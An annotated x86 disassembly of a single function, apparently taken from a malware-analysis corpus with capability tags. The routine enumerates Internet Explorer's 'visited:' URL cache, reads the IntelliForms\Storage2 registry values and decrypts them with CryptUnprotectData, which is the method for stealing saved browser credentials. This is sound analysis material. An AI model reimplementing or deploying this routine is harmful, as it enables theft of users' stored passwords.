Function at 0x41dd6d
Capabilities:
Encrypt data using dpapi
Enumerate internet cache
Query or enumerate registry value
Resolve function by parsing pe exports

Disassembly:
push ebp
mov eax, 0x10f0
push edi
push esi
push ebx
call fcn.00434ad0
push 0
lea eax, [esp + 0x70]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push str.SoftwareMicrosoftInternet_ExplorerIntelliFormsStorage2
push 0x80000001
call sub.ADVAPI32.DLL_RegCreateKeyExA
test eax, eax
jne 0x41e260
mov dword [esp + 0x68], 0
lea eax, [esp + 0x68]
push eax
push 0
push str.visited:
call sub.WININET.DLL_FindFirstUrlCacheEntryA
imul eax, dword [esp + 0x68], 0x50
push eax
call sub.msvcrt.dll_malloc
mov dword [esp + 0x30], eax
mov edx, dword [esp + 0x30]
mov eax, dword [esp + 0x6c]
mov dword [edx], eax
lea eax, [esp + 0x6c]
push eax
push edx
push str.visited:
call sub.WININET.DLL_FindFirstUrlCacheEntryA
mov dword [esp + 0x34], eax
test eax, eax
pop ebx
jne 0x41de00
push dword [esp + 0x2c]
call fcn.0043aa78
pop ecx
jmp 0x41e269
xor esi, esi
jmp 0x41de12
mov edx, dword [esp + 0x2c]
mov eax, dword [edx + 4]
cmp byte [eax + esi], 0x40
je 0x41de22
inc esi
mov eax, dword [esp + 0x2c]
push dword [eax + 4]
call sub.KERNEL32.dll_lstrlenA
cmp esi, eax
jl 0x41de04
mov ebx, esi
jmp 0x41de38
mov edx, dword [esp + 0x2c]
mov eax, dword [edx + 4]
cmp byte [eax + ebx], 0x3f
jne 0x41de37
mov byte [eax + ebx], 0
inc ebx
mov eax, dword [esp + 0x2c]
push dword [eax + 4]
call sub.KERNEL32.dll_lstrlenA
cmp ebx, eax
jl 0x41de26
lea eax, [esp + 0xf0]
push 0x1000
inc esi
push 0
push eax
call sub.msvcrt.dll_memset
mov dword [esp + 0x34], 0
add esp, 0xc
jmp 0x41de88
mov edx, dword [esp + 0x2c]
mov eax, dword [edx + 4]
mov edx, dword [esp + 0x28]
movzx eax, byte [eax + esi]
inc esi
mov byte [esp + edx + 0xf0], al
add edx, 2
mov dword [esp + 0x28], edx
mov eax, dword [esp + 0x2c]
push dword [eax + 4]
call sub.KERNEL32.dll_lstrlenA
cmp esi, eax
jl 0x41de6a
lea ebx, [esp + 0x70]
push pe_nt_image_headers32
push 0
push ebx
call sub.msvcrt.dll_memset
push ebx
lea esi, [esp + 0x100]
push esi
call fcn.0041dc5c
lea edx, [esp + 0x78]
push edx
push 0
push 0
push 0
push ebx
push dword [esp + 0x94]
call sub.ADVAPI32.DLL_RegQueryValueExA
push dword [esp + 0x78]
call sub.msvcrt.dll_malloc
mov dword [esp + 0x3c], eax
lea eax, [esp + 0x7c]
push eax
push dword [esp + 0x40]
push 0
push 0
push ebx
push dword [esp + 0x98]
call sub.ADVAPI32.DLL_RegQueryValueExA
add esp, 0x18
test eax, eax
jne 0x41e049
mov edx, dword [esp + 0x24]
mov eax, dword [esp + 0x64]
mov dword [esp + 0x60], edx
mov dword [esp + 0x5c], eax
push esi
call sub.msvcrt.dll_wcslen
mov dword [esp + 0x5c], esi
lea eax, [eax + eax + 2]
mov dword [esp + 0x58], eax
lea eax, [esp + 0x50]
push eax
push 1
push 0
push 0
lea eax, [esp + 0x68]
push eax
push 0
lea eax, [esp + 0x78]
push eax
call sub.CRYPT32.DLL_CryptUnprotectData
pop edx
test eax, eax
je 0x41e049
mov ecx, dword [esp + 0x50]
mov ebx, dword [ecx]
mov esi, dword [ecx + 4]
lea eax, [ebx + esi]
add eax, dword [ecx + 8]
cmp dword [esp + 0x4c], eax
jb 0x41e040
mov edx, dword [ecx + 0x14]
lea eax, [ecx + ebx]
add eax, esi
mov dword [esp + 0x20], eax
lea ebp, [ecx + 0x24]
mov eax, edx
shr eax, 1
je 0x41e040
mov dword [esp + 0x1c], eax
mov edx, dword [esp + 0x20]
mov edi, dword [esp + 0x20]
add edx, dword [ebp]
add ebp, 0x10
add edi, dword [ebp]
add ebp, 0x10
mov dword [esp + 0x18], edx
push edi
call sub.msvcrt.dll_wcslen
add eax, eax
mov dword [esp], eax
call sub.msvcrt.dll_malloc
mov dword [esp + 0x18], eax
push dword [esp + 0x1c]
call sub.msvcrt.dll_wcslen
add eax, eax
mov dword [esp], eax
call sub.msvcrt.dll_malloc
mov esi, eax
lea eax, [esp + 0xf8]
push eax
call sub.msvcrt.dll_wcslen
add eax, eax
mov dword [esp], eax
call sub.msvcrt.dll_malloc
push edi
mov ebx, eax
push 0x43eeb8
push dword [esp + 0x28]
call sub.msvcrt.dll_sprintf
push dword [esp + 0x30]
push 0x43eeb8
push esi
call sub.msvcrt.dll_sprintf
add esp, 0x24
lea edx, [esp + 0xf0]
push edx
push 0x43eeb8
push ebx
call sub.msvcrt.dll_sprintf
push dword [esp + 0x20]
push esi
push ebx
push 0x43eebb
call fcn.0041d081
push ebx
call fcn.0043aa78
add esp, 0x20
push esi
call fcn.0043aa78
push dword [esp + 0x18]
call fcn.0043aa78
pop edi
pop eax
dec dword [esp + 0x1c]
jne 0x41df7e
push dword [esp + 0x50]
call sub.KERNEL32.dll_LocalFree
push dword [esp + 0x24]
lea ebx, [esp + 0x74]
call fcn.0043aa78
mov eax, dword [esp + 0x2c]
mov byte [esp + eax + 0xf4], 0x2f
push pe_nt_image_headers32
push 0
push ebx
call sub.msvcrt.dll_memset
push ebx
lea esi, [esp + 0x104]
push esi
call fcn.0041dc5c
mov dword [esp + 0x7c], 0
lea edx, [esp + 0x7c]
push edx
push 0
push 0
push 0
push ebx
push dword [esp + 0x98]
call sub.ADVAPI32.DLL_RegQueryValueExA
push dword [esp + 0x7c]
call sub.msvcrt.dll_malloc
mov dword [esp + 0x40], eax
lea eax, [esp + 0x80]
push eax
push dword [esp + 0x44]
push 0
push 0
push ebx
push dword [esp + 0x9c]
call sub.ADVAPI32.DLL_RegQueryValueExA
add esp, 0x1c
test eax, eax
jne 0x41e221
mov eax, dword [esp + 0x64]
mov edx, dword [esp + 0x24]
mov dword [esp + 0x44], eax
mov dword [esp + 0x48], edx
push esi
call sub.msvcrt.dll_wcslen
mov dword [esp + 0x44], esi
lea eax, [eax + eax + 2]
mov dword [esp + 0x40], eax
lea eax, [esp + 0x38]
push eax
push 1
push 0
push 0
lea eax, [esp + 0x50]
push eax
push 0
lea eax, [esp + 0x60]
push eax
call sub.CRYPT32.DLL_CryptUnprotectData
pop esi
test eax, eax
je 0x41e221
mov ecx, dword [esp + 0x38]
mov ebx, dword [ecx]
mov esi, dword [ecx + 4]
lea eax, [ebx + esi]
add eax, dword [ecx + 8]
cmp dword [esp + 0x34], eax
jb 0x41e218
mov edx, dword [ecx + 0x14]
lea eax, [ecx + ebx]
add eax, esi
mov dword [esp + 0x10], eax
lea ebp, [ecx + 0x24]
mov eax, edx
shr eax, 1
je 0x41e218
mov dword [esp + 8], eax
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 0x10]
add edx, dword [ebp]
add ebp, 0x10
add eax, dword [ebp]
add ebp, 0x10
mov dword [esp + 4], edx
mov dword [esp + 0xc], eax
push eax
call sub.msvcrt.dll_wcslen
add eax, eax
mov dword [esp], eax
call sub.msvcrt.dll_malloc
mov dword [esp + 4], eax
push dword [esp + 8]
call sub.msvcrt.dll_wcslen
add eax, eax
mov dword [esp], eax
call sub.msvcrt.dll_malloc
lea edx, [esp + 0xf8]
mov esi, eax
push edx
call sub.msvcrt.dll_wcslen
add eax, eax
mov dword [esp], eax
call sub.msvcrt.dll_malloc
push dword [esp + 0x18]
mov ebx, eax
push 0x43eeb8
push dword [esp + 0x14]
call sub.msvcrt.dll_sprintf
push dword [esp + 0x1c]
push 0x43eeb8
push esi
call sub.msvcrt.dll_sprintf
add esp, 0x24
lea eax, [esp + 0xf0]
push eax
push 0x43eeb8
push ebx
call sub.msvcrt.dll_sprintf
push dword [esp + 0xc]
push esi
push ebx
push 0x43eebb
call fcn.0041d081
push ebx
call fcn.0043aa78
add esp, 0x20
push esi
call fcn.0043aa78
push dword [esp + 4]
call fcn.0043aa78
pop ecx
pop ebx
dec dword [esp + 8]
jne 0x41e14f
push dword [esp + 0x38]
call sub.KERNEL32.dll_LocalFree
push dword [esp + 0x24]
call fcn.0043aa78
pop edx
lea edx, [esp + 0x68]
mov dword [esp + 0x68], 0x1000
push edx
push dword [esp + 0x30]
push dword [esp + 0x38]
call sub.WININET.DLL_FindNextUrlCacheEntryA
test eax, eax
jne 0x41de00
push dword [esp + 0x30]
call sub.WININET.DLL_FindCloseUrlCache
push dword [esp + 0x2c]
call fcn.0043aa78
pop eax
push dword [esp + 0x6c]
call sub.ADVAPI32.DLL_RegCloseKey
add esp, 0x10f0
pop ebx
pop esi
pop edi
pop ebp
ret